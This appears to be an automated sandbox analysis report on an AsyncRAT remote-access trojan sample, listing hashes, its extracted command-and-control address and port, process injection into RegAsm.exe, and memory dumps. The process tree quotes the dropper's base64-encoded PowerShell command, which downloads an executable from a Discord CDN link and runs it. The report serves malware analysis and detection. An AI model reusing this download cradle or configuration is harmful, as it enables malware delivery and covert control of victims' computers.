asyncrat | 279da621a31ae6331d05536c2bf5bab48290a22f276d50edc65aaa4f6d25abfa

Analysis

max time kernel
150s
max time network
148s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
27-12-2022 07:17

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General

Target

279da621a31ae6331d05536c2bf5bab48290a22f276d50edc65aaa4f6d25abfa.exe
Size

5KB
MD5

f06d2b32fd1a26d08d0199b3e9942356
SHA1

545fb4409348a4786e06654b647c15dfbe473137
SHA256

279da621a31ae6331d05536c2bf5bab48290a22f276d50edc65aaa4f6d25abfa
SHA512

9b01f6c989ed324b61cd4a1ca39dc3c745190af71a5a72853b08a18b9ead454a3689ee553ef1cd31e7da478eda27712bd0a7666a4e9857a73c85118ebcfd64d8
SSDEEP

96:u679uSCFHm+NEsdPML8M/mYG4ntvngd3ojfrl:uc9uZF5NEqP68M/m2gdA

Score

10^/10

asyncrat defendersmartscren rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

DefenderSmartScren

217.64.31.3:8437

Mutex

DefenderSmartScren

Attributes

delay
3
install
false
install_file
SecurityHealtheurvice.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/4808-209-0x000000000040D06E-mapping.dmp	asyncrat
behavioral1/memory/4808-258-0x0000000000580000-0x0000000000592000-memory.dmp	asyncrat
behavioral1/memory/5044-331-0x000000000040D06E-mapping.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 4128 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

2.exe2.exe

pid process

4120 2.exe
3272 2.exe
Suspicious use of SetThreadContext 2 IoCs

Processes:

2.exe2.exe

description pid process target process

PID 4120 set thread context of 4808 4120 2.exe RegAsm.exe
PID 3272 set thread context of 5044 3272 2.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4128 powershell.exe
4128 powershell.exe
4128 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exe2.exe2.exe

description pid process

Token: SeDebugPrivilege 4128 powershell.exe
Token: SeDebugPrivilege 4120 2.exe
Token: SeDebugPrivilege 3272 2.exe

flow	pid	process
3	4128	powershell.exe

pid	process
4120	2.exe
3272	2.exe

description	pid	process	target process
PID 4120 set thread context of 4808	4120	2.exe	RegAsm.exe
PID 3272 set thread context of 5044	3272	2.exe	RegAsm.exe

pid	process
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeDebugPrivilege	4120	2.exe
Token: SeDebugPrivilege	3272	2.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

279da621a31ae6331d05536c2bf5bab48290a22f276d50edc65aaa4f6d25abfa.exepowershell.exe2.exe2.exe

description	pid	process	target process
PID 1004 wrote to memory of 4128	1004	279da621a31ae6331d05536c2bf5bab48290a22f276d50edc65aaa4f6d25abfa.exe	powershell.exe
PID 1004 wrote to memory of 4128	1004	279da621a31ae6331d05536c2bf5bab48290a22f276d50edc65aaa4f6d25abfa.exe	powershell.exe
PID 4128 wrote to memory of 4120	4128	powershell.exe	2.exe
PID 4128 wrote to memory of 4120	4128	powershell.exe	2.exe
PID 4128 wrote to memory of 4120	4128	powershell.exe	2.exe
PID 4120 wrote to memory of 4808	4120	2.exe	RegAsm.exe
PID 4120 wrote to memory of 4808	4120	2.exe	RegAsm.exe
PID 4120 wrote to memory of 4808	4120	2.exe	RegAsm.exe
PID 4120 wrote to memory of 4808	4120	2.exe	RegAsm.exe
PID 4120 wrote to memory of 4808	4120	2.exe	RegAsm.exe
PID 4120 wrote to memory of 4808	4120	2.exe	RegAsm.exe
PID 4120 wrote to memory of 4808	4120	2.exe	RegAsm.exe
PID 4120 wrote to memory of 4808	4120	2.exe	RegAsm.exe
PID 3272 wrote to memory of 5044	3272	2.exe	RegAsm.exe
PID 3272 wrote to memory of 5044	3272	2.exe	RegAsm.exe
PID 3272 wrote to memory of 5044	3272	2.exe	RegAsm.exe
PID 3272 wrote to memory of 5044	3272	2.exe	RegAsm.exe
PID 3272 wrote to memory of 5044	3272	2.exe	RegAsm.exe
PID 3272 wrote to memory of 5044	3272	2.exe	RegAsm.exe
PID 3272 wrote to memory of 5044	3272	2.exe	RegAsm.exe
PID 3272 wrote to memory of 5044	3272	2.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\279da621a31ae6331d05536c2bf5bab48290a22f276d50edc65aaa4f6d25abfa.exe
"C:\Users\Admin\AppData\Local\Temp\279da621a31ae6331d05536c2bf5bab48290a22f276d50edc65aaa4f6d25abfa.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAYgBmACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA2ADYANQAzADEANgA0ADAAOAA4ADEAMwA5ADgAMQA3AC8AMQAwADUANgA2ADUAMwA4ADEANwA2ADYAOQA3ADYANwAxADkAOAAvAGwAYwBvAG0AcABsAGMAbQBwAG8ALgBlAHgAZQAnACwAIAA8ACMAcQBwAHgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGYAaQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBmAHIAcAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAyAC4AZQB4AGUAJwApACkAPAAjAGsAZgB5ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAG0AawB1ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBoAGYAYgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAyAC4AZQB4AGUAJwApADwAIwB2AG4AcgAjAD4A"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4128

C:\Users\Admin\AppData\Roaming\2.exe
"C:\Users\Admin\AppData\Roaming\2.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4120

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:4808

C:\Users\Admin\AppData\Roaming\2.exe
C:\Users\Admin\AppData\Roaming\2.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3272

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:5044

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2.exe.log
Filesize
902B

MD5
22ef0590c345545e384ba168af281f75

SHA1
77a5e71b08568a14c7305f479a073a27fd73bb9e

SHA256
ddc570d8f07709e4c8bbca0c8408d423f767aeabe413be9953fa999bcd66ea9f

SHA512
150d090f4d6278159a1d0eab0a4d67794c5eeed5484c6091cd055eac3a88d8e580655d5d5d3e46c62276e300d30625a1e7d1a9325ce1eb58cf2a1876777ac617

Download Submit
C:\Users\Admin\AppData\Roaming\2.exe
Filesize
14.7MB

MD5
6f6b812c166e53dc9b52b9b60e5ed369

SHA1
e60cf5e718c030182dec6f7fbbbbf884fcdfcca1

SHA256
ffead35df6bc101476d76393619fe0a06a57d93927417d9bcf814d2e4c6b36a0

SHA512
8e8e5fe21f4b08a053255beb0f4e55f03e0114e7fa2117b8ef8320e7fd88275771394cd9a7e4237793b370f980ff7ed45a6ff78d3d97d59cd077868e7602f4b9

Download Submit
C:\Users\Admin\AppData\Roaming\2.exe
Filesize
14.7MB

MD5
6f6b812c166e53dc9b52b9b60e5ed369

SHA1
e60cf5e718c030182dec6f7fbbbbf884fcdfcca1

SHA256
ffead35df6bc101476d76393619fe0a06a57d93927417d9bcf814d2e4c6b36a0

SHA512
8e8e5fe21f4b08a053255beb0f4e55f03e0114e7fa2117b8ef8320e7fd88275771394cd9a7e4237793b370f980ff7ed45a6ff78d3d97d59cd077868e7602f4b9

Download Submit
C:\Users\Admin\AppData\Roaming\2.exe
Filesize
14.7MB

MD5
6f6b812c166e53dc9b52b9b60e5ed369

SHA1
e60cf5e718c030182dec6f7fbbbbf884fcdfcca1

SHA256
ffead35df6bc101476d76393619fe0a06a57d93927417d9bcf814d2e4c6b36a0

SHA512
8e8e5fe21f4b08a053255beb0f4e55f03e0114e7fa2117b8ef8320e7fd88275771394cd9a7e4237793b370f980ff7ed45a6ff78d3d97d59cd077868e7602f4b9

Download Submit
memory/1004-115-0x00000000008B0000-0x00000000008B8000-memory.dmp

Filesize
32KB

Download
memory/4120-181-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-204-0x0000000006B30000-0x000000000702E000-memory.dmp

Filesize
5.0MB

Download
memory/4120-147-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-148-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-149-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-150-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-151-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-153-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-154-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-155-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-157-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-156-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-159-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-158-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-160-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-161-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-162-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-163-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-164-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-165-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-166-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-167-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-168-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-169-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-170-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-186-0x00000000084B0000-0x0000000008676000-memory.dmp

Filesize
1.8MB

Download
memory/4120-172-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-173-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-174-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-175-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-176-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-177-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-178-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-179-0x00000000007C0000-0x0000000001672000-memory.dmp

Filesize
14.7MB

Download
memory/4120-180-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-145-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-182-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-183-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-141-0x0000000000000000-mapping.dmp

Download
memory/4120-143-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-171-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-187-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-188-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-189-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-190-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-191-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-192-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-193-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-194-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-195-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-196-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-197-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-198-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-199-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-200-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-201-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-202-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-203-0x0000000006080000-0x000000000611C000-memory.dmp

Filesize
624KB

Download
memory/4120-146-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-205-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-206-0x00000000067E0000-0x0000000006872000-memory.dmp

Filesize
584KB

Download
memory/4120-207-0x0000000006930000-0x00000000069CC000-memory.dmp

Filesize
624KB

Download
memory/4120-211-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-184-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4120-185-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4128-122-0x00000202CA350000-0x00000202CA372000-memory.dmp

Filesize
136KB

Download
memory/4128-116-0x0000000000000000-mapping.dmp

Download
memory/4128-125-0x00000202E2ED0000-0x00000202E2F46000-memory.dmp

Filesize
472KB

Download
memory/4808-208-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4808-209-0x000000000040D06E-mapping.dmp

Download
memory/4808-210-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4808-212-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4808-213-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4808-215-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4808-214-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4808-258-0x0000000000580000-0x0000000000592000-memory.dmp

Filesize
72KB

Download
memory/5044-331-0x000000000040D06E-mapping.dmp

Download